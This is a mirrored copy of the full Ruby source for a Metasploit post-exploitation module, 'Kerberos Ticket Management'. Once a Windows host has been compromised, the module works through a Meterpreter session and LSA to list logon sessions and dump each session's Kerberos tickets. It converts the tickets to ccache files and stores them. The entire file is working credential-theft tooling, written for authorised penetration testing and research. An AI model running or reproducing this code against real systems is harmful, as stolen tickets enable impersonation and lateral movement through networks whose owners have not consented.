CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/kerberos_tickets.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/proto/kerberos/model/kerberos_flags'
7
require 'rex/proto/kerberos/model/ticket_flags'
8
require 'rex/proto/ms_dtyp'
9
10
class MetasploitModule < Msf::Post
11
include Msf::Post::Process
12
include Msf::Post::Windows::Lsa
13
include Msf::Exploit::Remote::Kerberos::Ticket
14
15
CURRENT_PROCESS = -1
16
CURRENT_THREAD = -2
17
18
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type
19
SECURITY_LOGON_TYPE = {
20
0 => 'UndefinedLogonType',
21
2 => 'Interactive',
22
3 => 'Network',
23
4 => 'Batch',
24
5 => 'Service',
25
6 => 'Proxy',
26
7 => 'Unlock',
27
8 => 'NetworkCleartext',
28
9 => 'NewCredentials',
29
10 => 'RemoteInteractive',
30
11 => 'CachedInteractive',
31
12 => 'CachedRemoteInteractive',
32
13 => 'CachedUnlock'
33
}.freeze
34
# https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type
35
KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 8
36
KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 14
37
38
def initialize(info = {})
39
super(
40
update_info(
41
info,
42
'Name' => 'Kerberos Ticket Management',
43
'Description' => %q{
44
Manage kerberos tickets on a compromised host.
45
},
46
'License' => MSF_LICENSE,
47
'Author' => [
48
'Will Schroeder', # original idea/research
49
'Spencer McIntyre'
50
],
51
'References' => [
52
[ 'URL', 'https://github.com/GhostPack/Rubeus' ],
53
[ 'URL', 'https://github.com/wavvs/nanorobeus' ]
54
],
55
'Platform' => ['win'],
56
'SessionTypes' => %w[meterpreter],
57
'Actions' => [
58
['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],
59
['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],
60
['SHOW_LUID', { 'Description' => 'Show the current LUID' }],
61
],
62
'DefaultAction' => 'DUMP_TICKETS',
63
'Notes' => {
64
'Stability' => [],
65
'Reliability' => [],
66
'SideEffects' => []
67
},
68
'Compat' => {
69
'Meterpreter' => {
70
'Commands' => %w[
71
stdapi_net_resolve_host
72
stdapi_railgun_api
73
stdapi_railgun_memread
74
stdapi_railgun_memwrite
75
]
76
}
77
}
78
)
79
)
80
81
register_options([
82
OptString.new(
83
'LUID',
84
[false, 'An optional logon session LUID to target'],
85
conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],
86
regex: /^(0x[a-fA-F0-9]{1,16})?$/
87
),
88
OptString.new(
89
'SERVICE',
90
[false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],
91
conditions: %w[ACTION == DUMP_TICKETS]
92
)
93
])
94
end
95
96
def run
97
case session.native_arch
98
when ARCH_X64
99
@ptr_size = 8
100
when ARCH_X86
101
@ptr_size = 4
102
else
103
fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")
104
end
105
@hostname_cache = {}
106
@indent_level = 0
107
108
send("action_#{action.name.downcase}")
109
end
110
111
def action_dump_tickets
112
handle = lsa_register_logon_process
113
luids = nil
114
if handle
115
if target_luid
116
luids = [ target_luid ]
117
else
118
luids = lsa_enumerate_logon_sessions
119
print_error('Failed to enumerate logon sessions.') if luids.nil?
120
end
121
trusted = true
122
else
123
handle = lsa_connect_untrusted
124
# if we can't register a logon process then we can only act on the current LUID so skip enumeration
125
fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?
126
trusted = false
127
end
128
luids ||= [ get_current_luid ]
129
130
print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")
131
auth_package = lsa_lookup_authentication_package(handle, 'kerberos')
132
if auth_package.nil?
133
lsa_deregister_logon_process(handle)
134
fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')
135
end
136
137
luids.each do |luid|
138
dump_for_luid(handle, auth_package, luid, null_luid: !trusted)
139
end
140
lsa_deregister_logon_process(handle)
141
end
142
143
def action_enum_luids
144
current_luid = get_current_luid
145
luids = lsa_enumerate_logon_sessions
146
fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?
147
148
luids.each do |luid|
149
logon_session_data_ptr = lsa_get_logon_session_data(luid)
150
unless logon_session_data_ptr
151
print_status("LogonSession LUID: #{luid}")
152
next
153
end
154
155
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
156
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
157
end
158
end
159
160
def action_show_luid
161
current_luid = get_current_luid
162
luid = target_luid || current_luid
163
logon_session_data_ptr = lsa_get_logon_session_data(luid)
164
return unless logon_session_data_ptr
165
166
print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
167
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
168
end
169
170
def dump_for_luid(handle, auth_package, luid, null_luid: false)
171
logon_session_data_ptr = lsa_get_logon_session_data(luid)
172
return unless logon_session_data_ptr
173
174
print_logon_session_summary(logon_session_data_ptr)
175
session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
176
177
logon_session_data_ptr.contents.logon_id.clear if null_luid
178
query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(
179
message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,
180
logon_id: logon_session_data_ptr.contents.logon_id
181
)
182
query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)
183
if query_tkt_cache_res_ptr
184
indented_print do
185
dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
186
end
187
session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)
188
end
189
end
190
191
def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
192
case session.native_arch
193
when ARCH_X64
194
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64
195
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64
196
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64
197
when ARCH_X86
198
query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86
199
retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86
200
retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86
201
end
202
203
tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)
204
tkt_cache.tickets.each_with_index do |ticket, index|
205
server_name = read_lsa_unicode_string(ticket.server_name)
206
if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)
207
next
208
end
209
210
server_name_wz = session.railgun.util.str_to_uni_z(server_name)
211
print_status("Ticket[#{index}]")
212
indented_print do
213
retrieve_tkt_req = retrieve_tkt_request_klass.new(
214
message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,
215
logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8
216
)
217
ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)
218
next if ptr.nil?
219
220
retrieve_tkt_req.target_name.len = server_name_wz.length - 2
221
retrieve_tkt_req.target_name.maximum_len = server_name_wz.length
222
retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes
223
session.railgun.memwrite(ptr, retrieve_tkt_req)
224
retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)
225
session.railgun.util.free_data(ptr)
226
next if retrieve_tkt_res_ptr.nil?
227
228
retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)
229
if retrieve_tkt_res.ticket.encoded_ticket != 0
230
ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))
231
ticket_host = ticket.credentials.first.server.components.last.snapshot
232
ticket_host = resolve_host(ticket_host) if ticket_host
233
234
Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)
235
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)
236
presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)
237
print_line(presenter.present.split("\n").map { |line| " #{print_prefix}#{line}" }.join("\n"))
238
end
239
session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)
240
end
241
end
242
end
243
244
def target_luid
245
return nil if datastore['LUID'].blank?
246
247
val = datastore['LUID'].to_i(16)
248
Rex::Proto::MsDtyp::MsDtypLuid.new(
249
high_part: (val & 0xffffffff) >> 32,
250
low_part: (val & 0xffffffff)
251
)
252
end
253
254
def kirbi_to_ccache(input)
255
krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)
256
Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
257
end
258
259
def get_current_luid
260
luid = get_token_statistics&.authentication_id
261
fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid
262
luid
263
end
264
265
def get_token_statistics(token: nil)
266
if token.nil?
267
result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)
268
unless result['return']
269
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
270
unless error == ::WindowsError::Win32::ERROR_NO_TOKEN
271
print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")
272
return nil
273
end
274
275
result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)
276
unless result['return']
277
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
278
print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")
279
return nil
280
end
281
end
282
token = result['TokenHandle']
283
end
284
285
result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)
286
unless result['return']
287
error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
288
print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")
289
return nil
290
end
291
TOKEN_STATISTICS.read(result['TokenInformation'])
292
end
293
294
def resolve_host(name)
295
name = name.dup.downcase # normalize the case since DNS is case insensitive
296
return @hostname_cache[name] if @hostname_cache.key?(name)
297
298
vprint_status("Resolving hostname: #{name}")
299
begin
300
address = session.net.resolve.resolve_host(name)[:ip]
301
rescue Rex::Post::Meterpreter::RequestError => e
302
elog("Unable to resolve #{name.inspect}", error: e)
303
end
304
@hostname_cache[name] = address
305
end
306
307
def print_logon_session_summary(logon_session_data_ptr, annotation: nil)
308
sid = '???'
309
if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0
310
# reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up
311
# reading the data directly wouldn't be much faster because SIDs are of a variable length
312
result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)
313
if result
314
sid = session.railgun.util.read_string(result['StringSid'])
315
session.railgun.kernel32.LocalFree(result['StringSid'])
316
end
317
end
318
319
print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")
320
indented_print do
321
print_status("User: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")
322
print_status("UserSID: #{sid}") if datastore['VERBOSE']
323
print_status("Session: #{logon_session_data_ptr.contents.session}")
324
print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")
325
print_status("LogonType: #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")
326
print_status("LogonTime: #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")
327
print_status("LogonServer: #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']
328
print_status("LogonServerDNSDomain: #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']
329
print_status("UserPrincipalName: #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']
330
end
331
end
332
333
def peer
334
nil # drop the peer prefix from messages
335
end
336
337
def indented_print(&block)
338
@indent_level += 1
339
block.call
340
ensure
341
@indent_level -= 1
342
end
343
344
def print_prefix
345
super + (' ' * @indent_level.to_i * 2)
346
end
347
end
348
349